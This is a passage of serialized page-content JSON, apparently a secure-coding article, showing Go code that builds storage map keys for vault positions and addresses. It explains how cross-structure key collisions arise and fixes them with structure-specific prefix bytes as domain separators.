PositionMapKey",{"type":21,"tag":198,"props":86743,"children":86744},{"style":211},[86745],{"type":27,"value":4268},{"type":21,"tag":198,"props":86747,"children":86748},{"class":200,"line":323},[86749,86753,86757],{"type":21,"tag":198,"props":86750,"children":86751},{"style":226},[86752],{"type":27,"value":85629},{"type":21,"tag":198,"props":86754,"children":86755},{"style":1966},[86756],{"type":27,"value":76803},{"type":21,"tag":198,"props":86758,"children":86759},{"style":211},[86760],{"type":27,"value":257},{"type":21,"tag":198,"props":86762,"children":86763},{"class":200,"line":344},[86764,86768,86772,86776,86780,86784],{"type":21,"tag":198,"props":86765,"children":86766},{"style":226},[86767],{"type":27,"value":85641},{"type":21,"tag":198,"props":86769,"children":86770},{"style":211},[86771],{"type":27,"value":828},{"type":21,"tag":198,"props":86773,"children":86774},{"style":226},[86775],{"type":27,"value":86122},{"type":21,"tag":198,"props":86777,"children":86778},{"style":211},[86779],{"type":27,"value":76609},{"type":21,"tag":198,"props":86781,"children":86782},{"style":1966},[86783],{"type":27,"value":85147},{"type":21,"tag":198,"props":86785,"children":86786},{"style":211},[86787],{"type":27,"value":257},{"type":21,"tag":198,"props":86789,"children":86790},{"class":200,"line":365},[86791,86795,86799,86803,86807],{"type":21,"tag":198,"props":86792,"children":86793},{"style":211},[86794],{"type":27,"value":76764},{"type":21,"tag":198,"props":86796,"children":86797},{"style":226},[86798],{"type":27,"value":72536},{"type":21,"tag":198,"props":86800,"children":86801},{"style":211},[86802],{"type":27,"value":76609},{"type":21,"tag":198,"props":86804,"children":86805},{"style":1966},[86806],{"type":27,"value":85147},{"type":21,"tag":198,"props":86808,"children":86809},{"style":211},[86810],{"type":27,"value":668},{"type":21,"tag":198,"props":86812,"children":86813},{"class":200,"line":386},[86814,86818,86822,86826],{"type":21,"tag":198,"props":86815,"children":86816},{"style":226},[86817],{"type":27,"value":86243},{"type":21,"tag":198,"props":86819,"children":86820},{"style":683},[86821],{"type":27,"value":76798},{"type":21,"tag":198,"props":86823,"children":86824},{"style":698},[86825],{"type":27,"value":85946},{"type":21,"tag":198,"props":86827,"children":86828},{"style":211},[86829],{"type":27,"value":4268},{"type":21,"tag":198,"props":86831,"children":86832},{"class":200,"line":408},[86833,86838,86842],{"type":21,"tag":198,"props":86834,"children":86835},{"style":211},[86836],{"type":27,"value":86837}," []",{"type":21,"tag":198,"props":86839,"children":86840},{"style":1966},[86841],{"type":27,"value":85147},{"type":21,"tag":198,"props":86843,"children":86844},{"style":211},[86845],{"type":27,"value":257},{"type":21,"tag":198,"props":86847,"children":86848},{"class":200,"line":429},[86849,86854,86858,86862,86866,86870,86874,86878],{"type":21,"tag":198,"props":86850,"children":86851},{"style":226},[86852],{"type":27,"value":86853}," hex",{"type":21,"tag":198,"props":86855,"children":86856},{"style":211},[86857],{"type":27,"value":658},{"type":21,"tag":198,"props":86859,"children":86860},{"style":698},[86861],{"type":27,"value":85983},{"type":21,"tag":198,"props":86863,"children":86864},{"style":211},[86865],{"type":27,"value":706},{"type":21,"tag":198,"props":86867,"children":86868},{"style":698},[86869],{"type":27,"value":9950},{"type":21,"tag":198,"props":86871,"children":86872},{"style":211},[86873],{"type":27,"value":706},{"type":21,"tag":198,"props":86875,"children":86876},{"style":226},[86877],{"type":27,"value":85853},{"type":21,"tag":198,"props":86879,"children":86880},{"style":211},[86881],{"type":27,"value":86004},{"type":21,"tag":198,"props":86883,"children":86884},{"class":200,"line":450},[86885],{"type":21,"tag":198,"props":86886,"children":86887},{"style":211},[86888],{"type":27,"value":24723},{"type":21,"tag":198,"props":86890,"children":86891},{"class":200,"line":468},[86892,86896,86900,86904,86908,86912,86916,86920],{"type":21,"tag":198,"props":86893,"children":86894},{"style":226},[86895],{"type":27,"value":85974},{"type":21,"tag":198,"props":86897,"children":86898},{"style":211},[86899],{"type":27,"value":658},{"type":21,"tag":198,"props":86901,"children":86902},{"style":698},[86903],{"type":27,"value":86028},{"type":21,"tag":198,"props":86905,"children":86906},{"style":211},[86907],{"type":27,"value":706},{"type":21,"tag":198,"props":86909,"children":86910},{"style":226},[86911],{"type":27,"value":85937},{"type":21,"tag":198,"props":86913,"children":86914},{"style":211},[86915],{"type":27,"value":828},{"type":21,"tag":198,"props":86917,"children":86918},{"style":226},[86919],{"type":27,"value":85853},{"type":21,"tag":198,"props":86921,"children":86922},{"style":211},[86923],{"type":27,"value":789},{"type":21,"tag":198,"props":86925,"children":86926},{"class":200,"line":477},[86927],{"type":21,"tag":198,"props":86928,"children":86929},{"emptyLinePlaceholder":16},[86930],{"type":27,"value":1283},{"type":21,"tag":198,"props":86932,"children":86933},{"class":200,"line":494},[86934,86939,86943,86947],{"type":21,"tag":198,"props":86935,"children":86936},{"style":226},[86937],{"type":27,"value":86938}," positionNameEncoded",{"type":21,"tag":198,"props":86940,"children":86941},{"style":683},[86942],{"type":27,"value":76798},{"type":21,"tag":198,"props":86944,"children":86945},{"style":698},[86946],{"type":27,"value":85946},{"type":21,"tag":198,"props":86948,"children":86949},{"style":211},[86950],{"type":27,"value":4268},{"type":21,"tag":198,"props":86952,"children":86953},{"class":200,"line":515},[86954,86958,86962],{"type":21,"tag":198,"props":86955,"children":86956},{"style":211},[86957],{"type":27,"value":86837},{"type":21,"tag":198,"props":86959,"children":86960},{"style":1966},[86961],{"type":27,"value":85147},{"type":21,"tag":198,"props":86963,"children":86964},{"style":211},[86965],{"type":27,"value":257},{"type":21,"tag":198,"props":86967,"children":86968},{"class":200,"line":4484},[86969,86973,86977,86981,86985,86989,86993,86997],{"type":21,"tag":198,"props":86970,"children":86971},{"style":226},[86972],{"type":27,"value":86853},{"type":21,"tag":198,"props":86974,"children":86975},{"style":211},[86976],{"type":27,"value":658},{"type":21,"tag":198,"props":86978,"children":86979},{"style":698},[86980],{"type":27,"value":85983},{"type":21,"tag":198,"props":86982,"children":86983},{"style":211},[86984],{"type":27,"value":706},{"type":21,"tag":198,"props":86986,"children":86987},{"style":698},[86988],{"type":27,"value":9950},{"type":21,"tag":198,"props":86990,"children":86991},{"style":211},[86992],{"type":27,"value":706},{"type":21,"tag":198,"props":86994,"children":86995},{"style":226},[86996],{"type":27,"value":86122},{"type":21,"tag":198,"props":86998,"children":86999},{"style":211},[87000],{"type":27,"value":86004},{"type":21,"tag":198,"props":87002,"children":87003},{"class":200,"line":4493},[87004],{"type":21,"tag":198,"props":87005,"children":87006},{"style":211},[87007],{"type":27,"value":24723},{"type":21,"tag":198,"props":87009,"children":87010},{"class":200,"line":4561},[87011,87015,87019,87023,87027,87031,87035,87039],{"type":21,"tag":198,"props":87012,"children":87013},{"style":226},[87014],{"type":27,"value":85974},{"type":21,"tag":198,"props":87016,"children":87017},{"style":211},[87018],{"type":27,"value":658},{"type":21,"tag":198,"props":87020,"children":87021},{"style":698},[87022],{"type":27,"value":86028},{"type":21,"tag":198,"props":87024,"children":87025},{"style":211},[87026],{"type":27,"value":706},{"type":21,"tag":198,"props":87028,"children":87029},{"style":226},[87030],{"type":27,"value":86063},{"type":21,"tag":198,"props":87032,"children":87033},{"style":211},[87034],{"type":27,"value":828},{"type":21,"tag":198,"props":87036,"children":87037},{"style":226},[87038],{"type":27,"value":86122},{"type":21,"tag":198,"props":87040,"children":87041},{"style":211},[87042],{"type":27,"value":789},{"type":21,"tag":198,"props":87044,"children":87045},{"class":200,"line":4569},[87046],{"type":21,"tag":198,"props":87047,"children":87048},{"emptyLinePlaceholder":16},[87049],{"type":27,"value":1283},{"type":21,"tag":198,"props":87051,"children":87052},{"class":200,"line":4599},[87053,87058,87062,87066,87070,87074],{"type":21,"tag":198,"props":87054,"children":87055},{"style":226},[87056],{"type":27,"value":87057}," key",{"type":21,"tag":198,"props":87059,"children":87060},{"style":683},[87061],{"type":27,"value":76798},{"type":21,"tag":198,"props":87063,"children":87064},{"style":226},[87065],{"type":27,"value":82616},{"type":21,"tag":198,"props":87067,"children":87068},{"style":211},[87069],{"type":27,"value":658},{"type":21,"tag":198,"props":87071,"children":87072},{"style":698},[87073],{"type":27,"value":85605},{"type":21,"tag":198,"props":87075,"children":87076},{"style":211},[87077],{"type":27,"value":4268},{"type":21,"tag":198,"props":87079,"children":87080},{"class":200,"line":4607},[87081,87086],{"type":21,"tag":198,"props":87082,"children":87083},{"style":205},[87084],{"type":27,"value":87085}," \"%d%s%s%s%s\"",{"type":21,"tag":198,"props":87087,"children":87088},{"style":211},[87089],{"type":27,"value":257},{"type":21,"tag":198,"props":87091,"children":87092},{"class":200,"line":4638},[87093,87098],{"type":21,"tag":198,"props":87094,"children":87095},{"style":226},[87096],{"type":27,"value":87097}," vaultId",{"type":21,"tag":198,"props":87099,"children":87100},{"style":211},[87101],{"type":27,"value":257},{"type":21,"tag":198,"props":87103,"children":87104},{"class":200,"line":4646},[87105,87110],{"type":21,"tag":198,"props":87106,"children":87107},{"style":226},[87108],{"type":27,"value":87109}," Seperator",{"type":21,"tag":198,"props":87111,"children":87112},{"style":211},[87113],{"type":27,"value":257},{"type":21,"tag":198,"props":87115,"children":87116},{"class":200,"line":4706},[87117,87122],{"type":21,"tag":198,"props":87118,"children":87119},{"style":226},[87120],{"type":27,"value":87121}," usernameEncoded",{"type":21,"tag":198,"props":87123,"children":87124},{"style":211},[87125],{"type":27,"value":257},{"type":21,"tag":198,"props":87127,"children":87128},{"class":200,"line":9857},[87129,87133],{"type":21,"tag":198,"props":87130,"children":87131},{"style":226},[87132],{"type":27,"value":87109},{"type":21,"tag":198,"props":87134,"children":87135},{"style":211},[87136],{"type":27,"value":257},{"type":21,"tag":198,"props":87138,"children":87139},{"class":200,"line":9875},[87140,87145],{"type":21,"tag":198,"props":87141,"children":87142},{"style":226},[87143],{"type":27,"value":87144}," positionNameEncoded",{"type":21,"tag":198,"props":87146,"children":87147},{"style":211},[87148],{"type":27,"value":257},{"type":21,"tag":198,"props":87150,"children":87151},{"class":200,"line":9920},[87152],{"type":21,"tag":198,"props":87153,"children":87154},{"style":211},[87155],{"type":27,"value":24723},{"type":21,"tag":198,"props":87157,"children":87158},{"class":200,"line":10026},[87159],{"type":21,"tag":198,"props":87160,"children":87161},{"style":211},[87162],{"type":27,"value":1120},{"type":21,"tag":198,"props":87164,"children":87165},{"class":200,"line":24302},[87166],{"type":21,"tag":198,"props":87167,"children":87168},{"emptyLinePlaceholder":16},[87169],{"type":27,"value":1283},{"type":21,"tag":198,"props":87171,"children":87172},{"class":200,"line":24337},[87173],{"type":21,"tag":198,"props":87174,"children":87175},{"emptyLinePlaceholder":16},[87176],{"type":27,"value":1283},{"type":21,"tag":198,"props":87178,"children":87179},{"class":200,"line":24345},[87180,87184,87189],{"type":21,"tag":198,"props":87181,"children":87182},{"style":249},[87183],{"type":27,"value":76682},{"type":21,"tag":198,"props":87185,"children":87186},{"style":698},[87187],{"type":27,"value":87188}," AddressMapKey",{"type":21,"tag":198,"props":87190,"children":87191},{"style":211},[87192],{"type":27,"value":4268},{"type":21,"tag":198,"props":87194,"children":87195},{"class":200,"line":24353},[87196,87200,87204],{"type":21,"tag":198,"props":87197,"children":87198},{"style":226},[87199],{"type":27,"value":85629},{"type":21,"tag":198,"props":87201,"children":87202},{"style":1966},[87203],{"type":27,"value":76803},{"type":21,"tag":198,"props":87205,"children":87206},{"style":211},[87207],{"type":27,"value":257},{"type":21,"tag":198,"props":87209,"children":87210},{"class":200,"line":24362},[87211,87215,87219,87224,87228],{"type":21,"tag":198,"props":87212,"children":87213},{"style":226},[87214],{"type":27,"value":85641},{"type":21,"tag":198,"props":87216,"children":87217},{"style":211},[87218],{"type":27,"value":828},{"type":21,"tag":198,"props":87220,"children":87221},{"style":226},[87222],{"type":27,"value":87223},"addressName",{"type":21,"tag":198,"props":87225,"children":87226},{"style":211},[87227],{"type":27,"value":76609},{"type":21,"tag":198,"props":87229,"children":87230},{"style":1966},[87231],{"type":27,"value":84610},{"type":21,"tag":198,"props":87233,"children":87234},{"class":200,"line":24404},[87235,87239,87243,87247,87251],{"type":21,"tag":198,"props":87236,"children":87237},{"style":211},[87238],{"type":27,"value":76764},{"type":21,"tag":198,"props":87240,"children":87241},{"style":226},[87242],{"type":27,"value":72536},{"type":21,"tag":198,"props":87244,"children":87245},{"style":211},[87246],{"type":27,"value":76609},{"type":21,"tag":198,"props":87248,"children":87249},{"style":1966},[87250],{"type":27,"value":85147},{"type":21,"tag":198,"props":87252,"children":87253},{"style":211},[87254],{"type":27,"value":668},{"type":21,"tag":198,"props":87256,"children":87257},{"class":200,"line":24437},[87258,87262,87266,87270],{"type":21,"tag":198,"props":87259,"children":87260},{"style":226},[87261],{"type":27,"value":86243},{"type":21,"tag":198,"props":87263,"children":87264},{"style":683},[87265],{"type":27,"value":76798},{"type":21,"tag":198,"props":87267,"children":87268},{"style":698},[87269],{"type":27,"value":85946},{"type":21,"tag":198,"props":87271,"children":87272},{"style":211},[87273],{"type":27,"value":4268},{"type":21,"tag":198,"props":87275,"children":87276},{"class":200,"line":24445},[87277,87281,87285],{"type":21,"tag":198,"props":87278,"children":87279},{"style":211},[87280],{"type":27,"value":86837},{"type":21,"tag":198,"props":87282,"children":87283},{"style":1966},[87284],{"type":27,"value":85147},{"type":21,"tag":198,"props":87286,"children":87287},{"style":211},[87288],{"type":27,"value":257},{"type":21,"tag":198,"props":87290,"children":87291},{"class":200,"line":24453},[87292,87296,87300,87304,87308,87312,87316,87320],{"type":21,"tag":198,"props":87293,"children":87294},{"style":226},[87295],{"type":27,"value":86853},{"type":21,"tag":198,"props":87297,"children":87298},{"style":211},[87299],{"type":27,"value":658},{"type":21,"tag":198,"props":87301,"children":87302},{"style":698},[87303],{"type":27,"value":85983},{"type":21,"tag":198,"props":87305,"children":87306},{"style":211},[87307],{"type":27,"value":706},{"type":21,"tag":198,"props":87309,"children":87310},{"style":698},[87311],{"type":27,"value":9950},{"type":21,"tag":198,"props":87313,"children":87314},{"style":211},[87315],{"type":27,"value":706},{"type":21,"tag":198,"props":87317,"children":87318},{"style":226},[87319],{"type":27,"value":85853},{"type":21,"tag":198,"props":87321,"children":87322},{"style":211},[87323],{"type":27,"value":86004},{"type":21,"tag":198,"props":87325,"children":87326},{"class":200,"line":24462},[87327],{"type":21,"tag":198,"props":87328,"children":87329},{"style":211},[87330],{"type":27,"value":24723},{"type":21,"tag":198,"props":87332,"children":87333},{"class":200,"line":24538},[87334,87338,87342,87346,87350,87354,87358,87362],{"type":21,"tag":198,"props":87335,"children":87336},{"style":226},[87337],{"type":27,"value":85974},{"type":21,"tag":198,"props":87339,"children":87340},{"style":211},[87341],{"type":27,"value":658},{"type":21,"tag":198,"props":87343,"children":87344},{"style":698},[87345],{"type":27,"value":86028},{"type":21,"tag":198,"props":87347,"children":87348},{"style":211},[87349],{"type":27,"value":706},{"type":21,"tag":198,"props":87351,"children":87352},{"style":226},[87353],{"type":27,"value":85937},{"type":21,"tag":198,"props":87355,"children":87356},{"style":211},[87357],{"type":27,"value":828},{"type":21,"tag":198,"props":87359,"children":87360},{"style":226},[87361],{"type":27,"value":85853},{"type":21,"tag":198,"props":87363,"children":87364},{"style":211},[87365],{"type":27,"value":789},{"type":21,"tag":198,"props":87367,"children":87368},{"class":200,"line":24571},[87369],{"type":21,"tag":198,"props":87370,"children":87371},{"emptyLinePlaceholder":16},[87372],{"type":27,"value":1283},{"type":21,"tag":198,"props":87374,"children":87375},{"class":200,"line":24579},[87376,87381,87385,87389],{"type":21,"tag":198,"props":87377,"children":87378},{"style":226},[87379],{"type":27,"value":87380}," addressNameEncoded",{"type":21,"tag":198,"props":87382,"children":87383},{"style":683},[87384],{"type":27,"value":76798},{"type":21,"tag":198,"props":87386,"children":87387},{"style":698},[87388],{"type":27,"value":85946},{"type":21,"tag":198,"props":87390,"children":87391},{"style":211},[87392],{"type":27,"value":4268},{"type":21,"tag":198,"props":87394,"children":87395},{"class":200,"line":24587},[87396,87400,87404],{"type":21,"tag":198,"props":87397,"children":87398},{"style":211},[87399],{"type":27,"value":86837},{"type":21,"tag":198,"props":87401,"children":87402},{"style":1966},[87403],{"type":27,"value":85147},{"type":21,"tag":198,"props":87405,"children":87406},{"style":211},[87407],{"type":27,"value":257},{"type":21,"tag":198,"props":87409,"children":87410},{"class":200,"line":24624},[87411,87415,87419,87423,87427,87431,87435,87439],{"type":21,"tag":198,"props":87412,"children":87413},{"style":226},[87414],{"type":27,"value":86853},{"type":21,"tag":198,"props":87416,"children":87417},{"style":211},[87418],{"type":27,"value":658},{"type":21,"tag":198,"props":87420,"children":87421},{"style":698},[87422],{"type":27,"value":85983},{"type":21,"tag":198,"props":87424,"children":87425},{"style":211},[87426],{"type":27,"value":706},{"type":21,"tag":198,"props":87428,"children":87429},{"style":698},[87430],{"type":27,"value":9950},{"type":21,"tag":198,"props":87432,"children":87433},{"style":211},[87434],{"type":27,"value":706},{"type":21,"tag":198,"props":87436,"children":87437},{"style":226},[87438],{"type":27,"value":87223},{"type":21,"tag":198,"props":87440,"children":87441},{"style":211},[87442],{"type":27,"value":86004},{"type":21,"tag":198,"props":87444,"children":87445},{"class":200,"line":24637},[87446],{"type":21,"tag":198,"props":87447,"children":87448},{"style":211},[87449],{"type":27,"value":24723},{"type":21,"tag":198,"props":87451,"children":87452},{"class":200,"line":24650},[87453,87457,87461,87465,87469,87474,87478,87482],{"type":21,"tag":198,"props":87454,"children":87455},{"style":226},[87456],{"type":27,"value":85974},{"type":21,"tag":198,"props":87458,"children":87459},{"style":211},[87460],{"type":27,"value":658},{"type":21,"tag":198,"props":87462,"children":87463},{"style":698},[87464],{"type":27,"value":86028},{"type":21,"tag":198,"props":87466,"children":87467},{"style":211},[87468],{"type":27,"value":706},{"type":21,"tag":198,"props":87470,"children":87471},{"style":226},[87472],{"type":27,"value":87473},"addressNameEncoded",{"type":21,"tag":198,"props":87475,"children":87476},{"style":211},[87477],{"type":27,"value":828},{"type":21,"tag":198,"props":87479,"children":87480},{"style":226},[87481],{"type":27,"value":87223},{"type":21,"tag":198,"props":87483,"children":87484},{"style":211},[87485],{"type":27,"value":789},{"type":21,"tag":198,"props":87487,"children":87488},{"class":200,"line":24663},[87489],{"type":21,"tag":198,"props":87490,"children":87491},{"emptyLinePlaceholder":16},[87492],{"type":27,"value":1283},{"type":21,"tag":198,"props":87494,"children":87495},{"class":200,"line":24717},[87496,87500,87504,87508,87512,87516],{"type":21,"tag":198,"props":87497,"children":87498},{"style":226},[87499],{"type":27,"value":87057},{"type":21,"tag":198,"props":87501,"children":87502},{"style":683},[87503],{"type":27,"value":76798},{"type":21,"tag":198,"props":87505,"children":87506},{"style":226},[87507],{"type":27,"value":82616},{"type":21,"tag":198,"props":87509,"children":87510},{"style":211},[87511],{"type":27,"value":658},{"type":21,"tag":198,"props":87513,"children":87514},{"style":698},[87515],{"type":27,"value":85605},{"type":21,"tag":198,"props":87517,"children":87518},{"style":211},[87519],{"type":27,"value":4268},{"type":21,"tag":198,"props":87521,"children":87522},{"class":200,"line":24726},[87523,87527],{"type":21,"tag":198,"props":87524,"children":87525},{"style":205},[87526],{"type":27,"value":87085},{"type":21,"tag":198,"props":87528,"children":87529},{"style":211},[87530],{"type":27,"value":257},{"type":21,"tag":198,"props":87532,"children":87533},{"class":200,"line":33067},[87534,87538],{"type":21,"tag":198,"props":87535,"children":87536},{"style":226},[87537],{"type":27,"value":87097},{"type":21,"tag":198,"props":87539,"children":87540},{"style":211},[87541],{"type":27,"value":257},{"type":21,"tag":198,"props":87543,"children":87544},{"class":200,"line":33088},[87545,87549],{"type":21,"tag":198,"props":87546,"children":87547},{"style":226},[87548],{"type":27,"value":87109},{"type":21,"tag":198,"props":87550,"children":87551},{"style":211},[87552],{"type":27,"value":257},{"type":21,"tag":198,"props":87554,"children":87555},{"class":200,"line":81333},[87556,87560],{"type":21,"tag":198,"props":87557,"children":87558},{"style":226},[87559],{"type":27,"value":87121},{"type":21,"tag":198,"props":87561,"children":87562},{"style":211},[87563],{"type":27,"value":257},{"type":21,"tag":198,"props":87565,"children":87566},{"class":200,"line":81346},[87567,87571],{"type":21,"tag":198,"props":87568,"children":87569},{"style":226},[87570],{"type":27,"value":87109},{"type":21,"tag":198,"props":87572,"children":87573},{"style":211},[87574],{"type":27,"value":257},{"type":21,"tag":198,"props":87576,"children":87577},{"class":200,"line":81354},[87578,87583],{"type":21,"tag":198,"props":87579,"children":87580},{"style":226},[87581],{"type":27,"value":87582}," addressNameEncoded",{"type":21,"tag":198,"props":87584,"children":87585},{"style":211},[87586],{"type":27,"value":257},{"type":21,"tag":198,"props":87588,"children":87589},{"class":200,"line":81362},[87590],{"type":21,"tag":198,"props":87591,"children":87592},{"style":211},[87593],{"type":27,"value":24723},{"type":21,"tag":198,"props":87595,"children":87596},{"class":200,"line":81370},[87597],{"type":21,"tag":198,"props":87598,"children":87599},{"style":211},[87600],{"type":27,"value":1120},{"type":21,"tag":30,"props":87602,"children":87603},{},[87604,87606,87611],{"type":27,"value":87605},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":21,"tag":194,"props":87607,"children":87609},{"className":87608},[],[87610],{"type":27,"value":85359},{"type":27,"value":87612},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":21,"tag":187,"props":87614,"children":87616},{"code":87615},"vaultId = 1, username = \"a\", positionName = \"b\"\n => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n => AddressMapKey = \"1|a||b\"\n",[87617],{"type":21,"tag":194,"props":87618,"children":87619},{"__ignoreMap":7},[87620],{"type":27,"value":87615},{"type":21,"tag":30,"props":87622,"children":87623},{},[87624],{"type":27,"value":87625},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":21,"tag":187,"props":87627,"children":87629},{"code":87628,"language":76546,"meta":7,"className":76547,"style":7},"const (\n Seperator = \"|\"\n PositionMapPrefix = \"\\x01\"\n AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n vaultId uint64,\n username, positionName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n positionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n )\n hex.Encode(positionNameEncoded, positionName)\n\n key := fmt.Sprintf(\n \"%s%d%s%s%s%s\",\n PositionMapPrefix,\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded,\n )\n}\n\n\nfunc AddressMapKey(\n vaultId uint64,\n username, addressName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n addressNameEncoded := make(\n []byte,\n hex.EncodedLen(len(addressName)),\n )\n hex.Encode(addressNameEncoded, addressName)\n\n key := fmt.Sprintf(\n \"%s%d%s%s%s%s\",\n AddressMapPrefix,\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n addressNameEncoded,\n )\n}\n",[87630],{"type":21,"tag":194,"props":87631,"children":87632},{"__ignoreMap":7},[87633,87644,87659,87686,87711,87718,87725,87732,87747,87762,87789,87812,87831,87846,87881,87888,87923,87930,87949,87964,87999,88006,88041,88048,88075,88087,88099,88110,88121,88132,88143,88154,88161,88168,88175,88182,88197,88212,88239,88262,88281,88296,88331,88338,88373,88380,88399,88414,88449,88456,88491,88498,88525,88536,88548,88559,88570,88581,88592,88603,88611],{"type":21,"tag":198,"props":87634,"children":87635},{"class":200,"line":201},[87636,87640],{"type":21,"tag":198,"props":87637,"children":87638},{"style":249},[87639],{"type":27,"value":2648},{"type":21,"tag":198,"props":87641,"children":87642},{"style":211},[87643],{"type":27,"value":78948},{"type":21,"tag":198,"props":87645,"children":87646},{"class":200,"line":217},[87647,87651,87655],{"type":21,"tag":198,"props":87648,"children":87649},{"style":226},[87650],{"type":27,"value":85713},{"type":21,"tag":198,"props":87652,"children":87653},{"style":683},[87654],{"type":27,"value":979},{"type":21,"tag":198,"props":87656,"children":87657},{"style":205},[87658],{"type":27,"value":85722},{"type":21,"tag":198,"props":87660,"children":87661},{"class":200,"line":236},[87662,87667,87671,87676,87681],{"type":21,"tag":198,"props":87663,"children":87664},{"style":226},[87665],{"type":27,"value":87666}," PositionMapPrefix",{"type":21,"tag":198,"props":87668,"children":87669},{"style":683},[87670],{"type":27,"value":979},{"type":21,"tag":198,"props":87672,"children":87673},{"style":205},[87674],{"type":27,"value":87675}," \"",{"type":21,"tag":198,"props":87677,"children":87678},{"style":1457},[87679],{"type":27,"value":87680},"\\x01",{"type":21,"tag":198,"props":87682,"children":87683},{"style":205},[87684],{"type":27,"value":87685},"\"\n",{"type":21,"tag":198,"props":87687,"children":87688},{"class":200,"line":260},[87689,87694,87698,87702,87707],{"type":21,"tag":198,"props":87690,"children":87691},{"style":226},[87692],{"type":27,"value":87693}," AddressMapPrefix",{"type":21,"tag":198,"props":87695,"children":87696},{"style":683},[87697],{"type":27,"value":979},{"type":21,"tag":198,"props":87699,"children":87700},{"style":205},[87701],{"type":27,"value":87675},{"type":21,"tag":198,"props":87703,"children":87704},{"style":1457},[87705],{"type":27,"value":87706},"\\x02",{"type":21,"tag":198,"props":87708,"children":87709},{"style":205},[87710],{"type":27,"value":87685},{"type":21,"tag":198,"props":87712,"children":87713},{"class":200,"line":281},[87714],{"type":21,"tag":198,"props":87715,"children":87716},{"style":211},[87717],{"type":27,"value":789},{"type":21,"tag":198,"props":87719,"children":87720},{"class":200,"line":302},[87721],{"type":21,"tag":198,"props":87722,"children":87723},{"emptyLinePlaceholder":16},[87724],{"type":27,"value":1283},{"type":21,"tag":198,"props":87726,"children":87727},{"class":200,"line":323},[87728],{"type":21,"tag":198,"props":87729,"children":87730},{"emptyLinePlaceholder":16},[87731],{"type":27,"value":1283},{"type":21,"tag":198,"props":87733,"children":87734},{"class":200,"line":344},[87735,87739,87743],{"type":21,"tag":198,"props":87736,"children":87737},{"style":249},[87738],{"type":27,"value":76682},{"type":21,"tag":198,"props":87740,"children":87741},{"style":698},[87742],{"type":27,"value":86741},{"type":21,"tag":198,"props":87744,"children":87745},{"style":211},[87746],{"type":27,"value":4268},{"type":21,"tag":198,"props":87748,"children":87749},{"class":200,"line":365},[87750,87754,87758],{"type":21,"tag":198,"props":87751,"children":87752},{"style":226},[87753],{"type":27,"value":85629},{"type":21,"tag":198,"props":87755,"children":87756},{"style":1966},[87757],{"type":27,"value":76803},{"type":21,"tag":198,"props":87759,"children":87760},{"style":211},[87761],{"type":27,"value":257},{"type":21,"tag":198,"props":87763,"children":87764},{"class":200,"line":386},[87765,87769,87773,87777,87781,87785],{"type":21,"tag":198,"props":87766,"children":87767},{"style":226},[87768],{"type":27,"value":85641},{"type":21,"tag":198,"props":87770,"children":87771},{"style":211},[87772],{"type":27,"value":828},{"type":21,"tag":198,"props":87774,"children":87775},{"style":226},[87776],{"type":27,"value":86122},{"type":21,"tag":198,"props":87778,"children":87779},{"style":211},[87780],{"type":27,"value":76609},{"type":21,"tag":198,"props":87782,"children":87783},{"style":1966},[87784],{"type":27,"value":85147},{"type":21,"tag":198,"props":87786,"children":87787},{"style":211},[87788],{"type":27,"value":257},{"type":21,"tag":198,"props":87790,"children":87791},{"class":200,"line":408},[87792,87796,87800,87804,87808],{"type":21,"tag":198,"props":87793,"children":87794},{"style":211},[87795],{"type":27,"value":76764},{"type":21,"tag":198,"props":87797,"children":87798},{"style":226},[87799],{"type":27,"value":72536},{"type":21,"tag":198,"props":87801,"children":87802},{"style":211},[87803],{"type":27,"value":76609},{"type":21,"tag":198,"props":87805,"children":87806},{"style":1966},[87807],{"type":27,"value":85147},{"type":21,"tag":198,"props":87809,"children":87810},{"style":211},[87811],{"type":27,"value":668},{"type":21,"tag":198,"props":87813,"children":87814},{"class":200,"line":429},[87815,87819,87823,87827],{"type":21,"tag":198,"props":87816,"children":87817},{"style":226},[87818],{"type":27,"value":86243},{"type":21,"tag":198,"props":87820,"children":87821},{"style":683},[87822],{"type":27,"value":76798},{"type":21,"tag":198,"props":87824,"children":87825},{"style":698},[87826],{"type":27,"value":85946},{"type":21,"tag":198,"props":87828,"children":87829},{"style":211},[87830],{"type":27,"value":4268},{"type":21,"tag":198,"props":87832,"children":87833},{"class":200,"line":450},[87834,87838,87842],{"type":21,"tag":198,"props":87835,"children":87836},{"style":211},[87837],{"type":27,"value":86837},{"type":21,"tag":198,"props":87839,"children":87840},{"style":1966},[87841],{"type":27,"value":85147},{"type":21,"tag":198,"props":87843,"children":87844},{"style":211},[87845],{"type":27,"value":257},{"type":21,"tag":198,"props":87847,"children":87848},{"class":200,"line":468},[87849,87853,87857,87861,87865,87869,87873,87877],{"type":21,"tag":198,"props":87850,"children":87851},{"style":226},[87852],{"type":27,"value":86853},{"type":21,"tag":198,"props":87854,"children":87855},{"style":211},[87856],{"type":27,"value":658},{"type":21,"tag":198,"props":87858,"children":87859},{"style":698},[87860],{"type":27,"value":85983},{"type":21,"tag":198,"props":87862,"children":87863},{"style":211},[87864],{"type":27,"value":706},{"type":21,"tag":198,"props":87866,"children":87867},{"style":698},[87868],{"type":27,"value":9950},{"type":21,"tag":198,"props":87870,"children":87871},{"style":211},[87872],{"type":27,"value":706},{"type":21,"tag":198,"props":87874,"children":87875},{"style":226},[87876],{"type":27,"value":85853},{"type":21,"tag":198,"props":87878,"children":87879},{"style":211},[87880],{"type":27,"value":86004},{"type":21,"tag":198,"props":87882,"children":87883},{"class":200,"line":477},[87884],{"type":21,"tag":198,"props":87885,"children":87886},{"style":211},[87887],{"type":27,"value":24723},{"type":21,"tag":198,"props":87889,"children":87890},{"class":200,"line":494},[87891,87895,87899,87903,87907,87911,87915,87919],{"type":21,"tag":198,"props":87892,"children":87893},{"style":226},[87894],{"type"